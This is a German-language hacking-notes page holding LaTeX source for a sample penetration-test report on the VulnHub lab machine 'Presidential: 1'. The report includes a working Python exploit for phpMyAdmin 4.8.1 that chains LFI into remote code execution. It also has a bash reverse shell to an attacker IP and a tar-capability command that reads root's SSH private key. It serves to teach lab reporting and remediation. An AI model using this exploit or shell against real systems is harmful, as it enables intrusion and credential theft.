> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Bericht 1 - Presidential LaTeX-Lösung

{% hint style="warning" %}
Hier ist ein Beispiel für einen technischen Fachbericht, der simuliert, dass ich für Orange Cyberdefense arbeite und sich auf ein Umwelt- und Unternehmensaudit bezieht "[Präsidial](/de/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Für diese Analyse habe ich eine vorkonfigurierte VulnHub-Maschine mit Web-Schwachstellen und Risiken zur Rechteausweitung verwendet.

Der Bericht wurde mit der [LaTeX](https://www.overleaf.com/) Software erstellt, die für ihre technische Komplexität, aber auch für ihren großen Nutzen und ihre Fähigkeit bekannt ist, Berichte in professioneller Qualität mit großer Anpassungsfreiheit zu erstellen. Nachfolgend finden Sie den LaTeX-Code und die PDF-Datei, die dieses Beispiel veranschaulichen.
{% endhint %}

{% file src="/files/f1ea93017ad677f4da24a370c63b642423b7b231" %}

<div data-full-width="false"><figure><img src="/files/34c4081d9b32d5d7dc34567c42443670af8258c2" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Einrichten der Umgebung zur Erzeugung von PDF-Dateien aus LaTeX:</summary>

1. Die Standardanwendung für PDF-Dateien prüfen:

```bash
xdg-mime query default application/pdf
```

2. Die Standard-App für PDF-Dateien auf Zathura setzen:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Erstellen Sie die .tex-Datei für Ihr Dokument:

```bash
touch presidential.tex
```

4. Dokument kompilieren:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="/files/e537e2c4f7f6584377229658226261553fc76c70" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Pakete
/usepackage[utf8]{inputenc} % Kodieren Sie Ihren Text in UTF-8
/usepackage[english]{babel} % Englische Sprache
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Seitenlayout
/usepackage{graphicx} % Zum Einfügen von Bildern
/usepackage[table,xcdraw]{xcolor} % Farben
/usepackage{tikz,lipsum,lmodern} % Zeichnungen
/usepackage[most]{tcolorbox} % Benutzerdefinierte Boxen
/usepackage{fancyhdr} % Kopf- und Fußzeilen
/usepackage[hidelinks]{hyperref} % Hyperlinks
/usepackage{setspace} % Zeilenabstand
/usepackage{listings} % Quellcodeanzeige
/setstretch{1.2} % Zeilenabstand
/usepackage{parskip} % Absatzabstand
/setlength{/parindent}{0pt} % Kein Absatz-Einzug
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Absatzabstand
/setlength{/parfillskip}{/parindent plus 1fill} % Textausrichtung
/usepackage[figurename=Figure]{caption} % Bildbeschriftung
/usepackage{ragged2e} % Textausrichtung

% Variablen
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Präsidial: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21. Februar 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Farben
/definecolor{bluePortada}{HTML}{146c8a}

% Titelanpassung
/addto/captionsenglish{/renewcommand{/contentsname}{Inhalt}}

% Kopf- und Fußzeilen
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Firmenlogo links in der Kopfzeile
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Plattformlogo rechts in der Kopfzeile
/renewcommand{/headrulewidth}{3pt} % Breite der Kopfzeilenlinie
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Farbe der Kopfzeilenlinie

% Konfiguration der Beschriftungen für Quellcode
/renewcommand{/lstlistingname}{Code}

% Quellcode-Stile
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  umbruchfähig,
  erweitert,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Definition,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Kommentarfarbe
    keywordstyle=/color{magenta}, % Schlüsselwortfarbe
    numberstyle=/tiny/color{codegray}, % Zeilennummernstil
    stringstyle=/color{codepurple}, % Zeichenfolgenfarbe
    basicstyle=/ttfamily/footnotesize, % Grundtextstil
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Globale Konfiguration des Code-Stils

% Beginn des Dokuments
/begin{document}
/cfoot{/thepage} % Fußzeile mit Seitenzahl
  /begin{titlepage} % Titelseite
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Logo der Titelseite
{/scshape/LARGE /textbf{Technischer Bericht}/par/vspace{0.4cm}} % Berichtstitel
{/Huge/textcolor{bluePortada}{/textbf{Maschine /machineName}}} % Name der Maschine
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Maschinenbild
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Datenschutzbox
    /centering
Dieses Dokument ist vertraulich und enthält sensible Informationen. // Es sollte nicht gedruckt oder an Dritte weitergegeben werden.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Berichtsdatum
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Beginn des Inhaltsverzeichnisses
/clearpage
/tableofcontents % Inhaltsverzeichnis
/clearpage

/section{Hintergrund}
Dieses Dokument präsentiert die Ergebnisse, die während der am Rechner /textbf{/machineName} durchgeführten Auditphase erzielt wurden, und listet alle gefundenen Angriffsvektoren sowie die für jeden davon durchgeführte Ausnutzung auf.

Diese Maschine wurde von der Plattform /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}} heruntergeladen, einer Plattform zum Lernen und Üben für Personen, die sich für Computersicherheit und ethisches Hacking interessieren. Nachfolgend ist der Download-Link dieser Maschine angegeben:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Ziel-URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Startseite des Webdienstes der Maschine}
/end{figure}
/vspace{1cm}
/section {Ziele}
Die Ziele dieses Sicherheitsaudits bestehen darin, mögliche Schwachstellen und Schwächen auf der Maschine /textbf{/color{bluePortada}/machineName} zu identifizieren, mit dem Ziel, die Integrität und Vertraulichkeit der dort gespeicherten Informationen zu gewährleisten.

Vor diesem Hintergrund wurde eine umfassende Analyse aller auf diesem Server erkannten exponierten Dienste durchgeführt und detaillierte Informationen zu jenen gesammelt, die aus Sicherheitssicht ein potenzielles Risiko darstellten.
/clearpage

/subsection{Umfang}

Die für dieses Audit zu erreichenden Ziele sind nachfolgend aufgeführt:

/begin{itemize}
/item Verwundbare Ports und Dienste identifizieren.
/item Identifizierte Schwachstellen ausnutzen.
/item Zugriff auf den Server erlangen, indem die identifizierten verwundbaren Dienste ausgenutzt werden.
/item Mögliche Wege zur Rechteausweitung im System auflisten, sobald es kompromittiert wurde.
/end{itemize}

/subsection{Einschränkungen und Grenzen}

Während des Auditprozesses ist es strengstens untersagt, eine der folgenden Aktivitäten durchzuführen:

/begin{itemize}
/item Aufgaben ausführen, die zu einem /textbf{Denial of Service} führen oder die Verfügbarkeit der exponierten Dienste beeinträchtigen können.
/item Auf dem Server vorhandene Dateien löschen, sobald er kompromittiert wurde.
/end{itemize}

/subsection{Allgemeine Zusammenfassung}

Dieses Audit deckte zahlreiche erhebliche Sicherheitslücken auf, die die Integrität und Vertraulichkeit der auf dem Server gehosteten Informationen gefährden. Von der Offenlegung sensibler Sicherungsdateien bis hin zur Ausnutzung kritischer Schwachstellen in phpMyAdmin wurde festgestellt, dass der Server für verschiedene Angriffe anfällig ist.

Die Identifizierung von Subdomains, die Aufzählung exponierter Dienste und die Ausnutzung schwacher Authentifizierungs-Panels waren die wichtigsten Einstiegspunkte für die während dieses Audits durchgeführten Angriffe.

Es ist unerlässlich, unverzüglich Maßnahmen zu ergreifen, um diese Schwachstellen zu beheben und Sicherheitsrisiken zu mindern. Es wird dringend empfohlen, phpMyAdmin auf die neueste Version zu aktualisieren und zusätzliche Sicherheitsmaßnahmen umzusetzen, etwa den Zugriff auf sensible Dateien einzuschränken und geeignete Eingabefilter in exponierten Webanwendungen zu implementieren.

Zusammenfassend unterstreicht dieses Audit die Bedeutung einer proaktiven System-Sicherheitsstrategie durch regelmäßige Audits, das Einspielen von Sicherheitspatches und die Befolgung bewährter Cybersicherheitspraktiken zum Schutz der digitalen Vermögenswerte eines Unternehmens.

/clearpage
/section{Aufklärung}
/subsection{Aufzählung der exponierten Dienste}
Nachfolgend finden Sie den Nachweis der während der mit dem /textbf{nmap}-Tool durchgeführten Aufklärung identifizierten Ports und Dienste:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Port-Enumeration mit nmap}
/end{figure}

/vspace{0.3cm}
In diesem Fall wurden zwei aktive Ports mithilfe des TCP-Protokolls identifiziert:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Port 80};
/node (port2) [below right of=center, node distance=3cm] {Port 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

Ebenso wurden keine über andere Protokolle exponierten Ports gefunden, sodass die Bewertung der im ersten Scan identifizierten Ports priorisiert wird.

/clearpage
/subsection{Aufzählung der Webserver}

Nachfolgend sind die mit dem /textbf{WhatWeb}-Tool erzielten Ergebnisse aufgeführt, einem Web-Aufklärungstool zur Identifizierung spezifischer Webtechnologien auf einer Website, nachdem die Aufklärung des auf Port 80 laufenden HTTP-Dienstes durchgeführt wurde.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Aufzählung des HTTP-Dienstes auf Port 80}
/end{figure}

Die erzielten Ergebnisse ermöglichen die Identifizierung der Versionen einiger der vorhandenen Technologien:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Technologie} & /textbf{Version} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Unter den bereitgestellten Informationen ist es auch möglich, 2 E-Mail-Adressen zu identifizieren, die für /textbf{Phishing}-Angriffe verwendet werden könnten:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{Phishing} ist eine Art von Computerangriff, der dazu dient, Personen zu täuschen, um vertrauliche Informationen wie Passwörter, Bankinformationen oder Kreditkartendaten zu erhalten. Der Angriff wird durch das Senden betrügerischer E-Mails oder Textnachrichten durchgeführt, die legitim erscheinen und den Empfänger auffordern, persönliche und vertrauliche Informationen bereitzustellen.

Darüber hinaus war es dank einer umfassenden Erkennung mit dem Tool /textbf{wig} auf dem Webdienst auch möglich, die aktive Version von /textbf{Centos} zu identifizieren.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Aufzählung des HTTP-Dienstes auf Port 80}
/end{figure}
/clearpage

/subsection{Aufzählung der Subdomains}
Nachdem die Domain '/textbf{votenow.local}' über die E-Mails identifiziert worden war, wurde ein Brute-Force-Angriff auf die Hauptdomain durchgeführt, um gültige Subdomains zu identifizieren.

Nach Abschluss des Brute-Force-Angriffs sind dies die erzielten Ergebnisse:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Mit Gobuster identifizierte Subdomains}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
Die Subdomain '/textbf{datasafe.votenow.local}' wurde als gültige Subdomain identifiziert. Diese Subdomain spielte im Audit eine entscheidende Rolle, da über sie durch Ausnutzung einer in /textbf{phpMyAdmin} vorhandenen Schwachstelle Zugriff auf das System erlangt wurde.

Bitte beachten Sie, dass für den Zugriff auf diese Domains und Subdomains der folgende Inhalt zur Datei '/textbf{/etc/hosts}' hinzugefügt werden musste:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Inhalt der Datei /etc/hosts}
/end{figure}
/vspace{0.3cm}
Dies ist auf die Anwendung von '/textbf{virtual hosting}' zurückzuführen, einer Technik, die auf Webservern verwendet wird, um mehrere Websites auf einer einzigen physischen Maschine zu hosten. Die Datei '/textbf{/etc/hosts}' wird verwendet, um den Domainnamen jeder Website mit der IP-Adresse des Servers zu verknüpfen.

Ohne diese Zuordnung kann der Webserver nicht die richtige Website bereitstellen, was zu einem Fehler oder zur Anzeige einer falschen Website führt.
/clearpage
/subsection{Aufzählung der Authentifizierungs-Panels}
Nachdem die Subdomain '/textbf{datasafe.votenow.local}' entdeckt worden war, wie im Bild /ref{fig:identifiedSubdomains} auf Seite /pageref{fig:identifiedSubdomains} gezeigt, wurde folgendes Authentifizierungs-Panel von /textbf{phpMyAdmin} gefunden:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{phpMyAdmin-Authentifizierungs-Panel}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Identifizierung und Ausnutzung von Schwachstellen}
/subsection{Exponieren einer Sicherungsdatei}

Während einer Aufklärungsphase mit dem Tool /textbf{gobuster}, einem Open-Source-Kommandozeilentool zum Suchen und Aufzählen von Webressourcen auf Servern und Websites, wurde auf dem Server eine exponierte Sicherungsdatei identifiziert:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Auf dem Server exponierte Sicherungsdatei}
/end{figure}

/clearpage

Diese Datei wurde hochgeladen, um zu prüfen, ob sie sensible Informationen enthielt, die ein Sicherheitsrisiko darstellen könnten. Zu diesem Zeitpunkt wurde festgestellt, dass die Datei die folgenden privilegierten Informationen enthielt:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Inhalt der Sicherungsdatei mit Anmeldedaten}
/end{figure}

Diese Kennungen entsprechen den Zugangsdaten zur Datenbank und ermöglichten aufgrund der Wiederverwendung von Benutzername und Passwort den Zugriff auf /textbf{phpMyAdmin}, wie in Abbildung /ref{fig:phpMyAdmin} auf Seite /pageref{fig:phpMyAdmin} dargestellt.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Verbindung zur phpMyAdmin-Kontrolloberfläche}
/end{figure}

/clearpage
/subsection{Ausnutzung von phpMyAdmin}
Nach der Anmeldung bei /textbf{phpMyAdmin} konnte die aktuell verwendete Version identifiziert werden:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Verwendete Version von phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Diese Version entspricht einer /textbf{alten Version} von phpMyAdmin und legt somit mehrere identifizierte /textbf{kritische Schwachstellen} offen:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Schwachstellen für die verwendete phpMyAdmin-Version}
/end{figure}


/clearpage
Unter ihnen kann eine einem bösartigen Angreifer ermöglichen, /textbf{Code aus der Ferne auszuführen} auf dem Server.

Im Folgenden befindet sich das Python3-Skript, das zur Ausführung entfernter Befehle auf dem Server verwendet wurde:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Exploit für die verwundbare phpMyAdmin-Version]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
Nachdem die Ausführung und Einfügung eines Befehls zur Systemanmeldung durchgeführt wurde, wurde Zugriff auf den Server erlangt:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Zugriff auf den Server durch Ausnutzung von phpMyAdmin}
/end{figure}

In diesem Fall wird ein Befehl über '/textbf{curl}' ausgeführt, der ein Bash-Skript interpretiert, das folgenden Inhalt hat:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Bash-Skript zur Herstellung der Verbindung]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Dieses Skript ist auf dem Server des Angreifers gehostet, wodurch keine Restdateien auf dem Zielserver zurückbleiben. Sobald der Befehl ausgeführt wird, erhält der Angreifer Zugriff auf den Server und hat in diesem Fall die Kontrolle über die Maschine als Benutzer '/textbf{apache}'.

Wie im Skript zu sehen ist, nutzt das Skript im Wesentlichen eine in dieser Version von phpMyAdmin vorhandene /textbf{LFI}-Schwachstelle aus, um die Ausführung von Befehlen aus der Ferne zu erreichen:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Codeausschnitt zur LFI-Ausnutzung]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) ist eine Sicherheitslücke in Webanwendungen, die es einem Angreifer ermöglicht, auf lokale Dateien auf dem Server zuzugreifen, indem lokale Dateien in eine Webseite eingebunden werden.
/end{definicion}
/clearpage

Durch die LFI erhalten wir Informationen über eine PHP-Ressource, die Sitzungen speichert und Informationen zu den verschiedenen aktiven Sitzungen auf der Benutzerseite darstellt.

Durch die Ausnutzung dieses Lesens und der eigenen Benutzersitzung verwenden wir eine /textbf{SQL-Abfrage}, um eine Abfrage mit PHP-Code einzufügen, die über die Sitzungsdateien des Benutzers mittels LFI sichtbar ist. Dies führt somit zur Ausführung entfernter Befehle, da der PHP-Code vom Server nicht interpretiert wird.

/section{Rechteausweitung}
Sobald das gesamte System kompromittiert ist, besteht das Hauptziel nun darin, die höchstmöglichen Rechte auf dem Server zu erlangen. Mit dem Ziel, unsere Berechtigungen zu erhöhen und eine größere Kontrolle sowie Zugriff auf alle exponierten Dienste zu erhalten.
/subsection{Migration zum Benutzer Administrator}
Auf dem Server gibt es einen Administrator-Benutzer, der gut konfiguriert zu sein scheint, da wir vom apache-Benutzer aus /textbf{eingeschränkten Zugriff} haben.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Zugriff auf das Admin-Home-Verzeichnis verweigert}
/end{figure}

Allerdings erscheint in der zuvor kompromittierten Datenbank ein gehashtes Passwort mit demselben Benutzernamen wie dieser Benutzer. Die Wiederverwendung von Passwörtern für einen Benutzer ist etwas Kritisches und würde in diesem Fall zu einer direkten Migration des Benutzers führen.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Gehashtes Passwort in der Datenbank des Admin-Benutzers gespeichert}
/end{figure}
/clearpage
/subsection{Knacken des offengelegten gehashten Passworts des Benutzers admin}
Da das Passwort gehasht ist, verwenden wir das Tool '/textbf{john}', um den Hash des Admin-Passworts zu knacken, damit wir ihn entschlüsseln und im Klartext sehen können. In diesem Fall wurde ein Wörterbuch mit mehr als zehn Millionen verschiedenen Kombinationen verwendet, und da das Passwort nicht sehr komplex ist, benötigte das Tool nur wenige Minuten, um es zu knacken und offenzulegen.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Entschlüsseltes Klartext-Passwort des Benutzers admin}
/end{figure}
/vspace{0.3cm}
/newline Die Migration zum Admin-Benutzer war aufgrund der /textbf{Wiederverwendung desselben Passworts} für den Admin-Benutzer sowohl in der Datenbank als auch im Systembenutzer möglich. Das ist eine schlechte Praxis, und es wird empfohlen, für jeden unterschiedlichen Dienst ein anderes Passwort zu haben, um kritische Probleme wie in diesem Fall zu vermeiden.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Zugriff auf das Verzeichnis des privilegierten Benutzers admin}
/end{figure}
/clearpage
/subsection{Schwachstelle bei Berechtigungsfähigkeiten, die den SSH-Schlüssel offenlegt}
/vspace{0.3cm}
/begin{definicion}
Capabilities in Linux sind ein Sicherheitsmechanismus, der Programmen bestimmte Privilegien gewährt und eingeschränkte Operationen ermöglicht, ohne vollständigen Root-Zugriff gewähren zu müssen.
/end{definicion}
In diesem Fall wurde eine Fähigkeitsberechtigung gefunden, die es mit dem tarS-Tool erlaubte, alle Dateien auf dem System ohne Regeln oder Sperren anzuzeigen, da dies vom Root-Benutzer aus durchgeführt wurde. Durch Ausnutzung dieser Berechtigung wurde mit folgendem Befehl der /textbf{SSH-Privatschlüssel} des Root-Benutzers aufgelistet:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {SSH-Privatschlüssel des Root-Benutzers}
/end{figure}
/subsection{System-Root-Zugriff}
Schließlich wurde Zugriff auf die Maschine mit Root-Rechten erlangt. Es besteht dringender Bedarf, die Fähigkeit für das tarS-Tool zu entfernen und eine Alternative zu finden, die eine solche Rechteausweitung nicht zulässt.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Erhalt der Root-Benutzer-Flag}
/end{figure}
/clearpage
/section{Gegenmaßnahmen und Best Practices}

Um eine mögliche unerwünschte Ausnutzung des exponierten Servers zu vermeiden, werden nachfolgend die zu befolgenden Best Practices für die verschiedenen entdeckten Schwachstellen aufgeführt.

/subsection{Schwachstelle von phpMyAdmin 4.8.1}
phpMyAdmin ist ein beliebtes Tool zur Verwaltung von MySQL-Datenbanken über eine Weboberfläche. Version 4.8.1 von phpMyAdmin weist jedoch bekannte Schwachstellen auf, die es einem Angreifer ermöglichen können, beliebigen Code auf dem Webserver auszuführen, auf dem es gehostet wird.

Um diese Schwachstelle zu beheben, ist es notwendig, auf die aktuellste Version von phpMyAdmin zu /textbf{aktualisieren} (derzeit Version 5.2.1). Wenn es aus irgendeinem Grund nicht möglich ist, auf die neueste Version zu aktualisieren, können Sie einige Schritte unternehmen, um das Ausnutzungsrisiko zu mindern:
/begin{itemize}
/item Den Code des Skripts '/textbf{index.php}' so korrigieren, dass die vom Benutzer bereitgestellte Variable '/textbf{target}' korrekt kontrolliert wird.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Verwundbarer Zielparameter}
/end{figure}

/begin{itemize}
/item Anstatt dem Benutzer zu erlauben, beliebige Dateien zum Einbinden anzugeben, definieren Sie eine Liste zulässiger Dateien und überprüfen Sie, ob der an den '/textbf{target}'-Parameter übergebene Wert in der Liste enthalten ist, bevor Sie die Datei einbinden.
/end{itemize}

/subsection{Capabilities-Privilegieneskalation}
Zunächst eliminieren Sie die Möglichkeit des tarS-Tools. Um zu beheben und zu prüfen, ob ein Dienst oder Tool für diese Privilegieneskalation anfällig ist, können Sie die folgende Website besuchen, die eine Suchmaschine mit allen möglichen Schwachstellen zu diesem Thema enthält:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Ziel-URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Schlussfolgerungen}
Das im Rahmen des Sicherheitsaudits an der Maschine /textbf{Presidential: 1} durchgeführte Audit deckte eine Reihe kritischer Schwachstellen auf, die die Integrität und Vertraulichkeit der auf dem Server gehosteten Informationen gefährden. Von der Offenlegung sensibler Dateien bis zur Ausnutzung von Schwachstellen in phpMyAdmin wurde die Bedeutung hervorgehoben, alle Systemkomponenten auf dem neuesten Stand zu halten und gute Sicherheitspraktiken zu befolgen.

Die erfolgreiche Ausnutzung der Schwachstelle in phpMyAdmin ermöglichte es Angreifern, auf den Server zuzugreifen und ihre Privilegien auf den Administratorbenutzer zu eskalieren, wodurch das gesamte System kompromittiert wurde. Dies unterstreicht die Bedeutung der Umsetzung proaktiver Sicherheitsmaßnahmen wie regelmäßiger Software-Updates, ordnungsgemäßem Passwortmanagement und kontinuierlicher Serverüberwachung.

Um sich vor zukünftigen Angriffen zu schützen, wird dringend empfohlen, die zuvor genannten Gegenmaßnahmen umzusetzen und bewährte Verfahren der Cybersicherheit zu befolgen. Sicherheit muss ein ständiges und vorrangiges Anliegen sein, um den Schutz digitaler Vermögenswerte und die Geschäftskontinuität zu gewährleisten.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
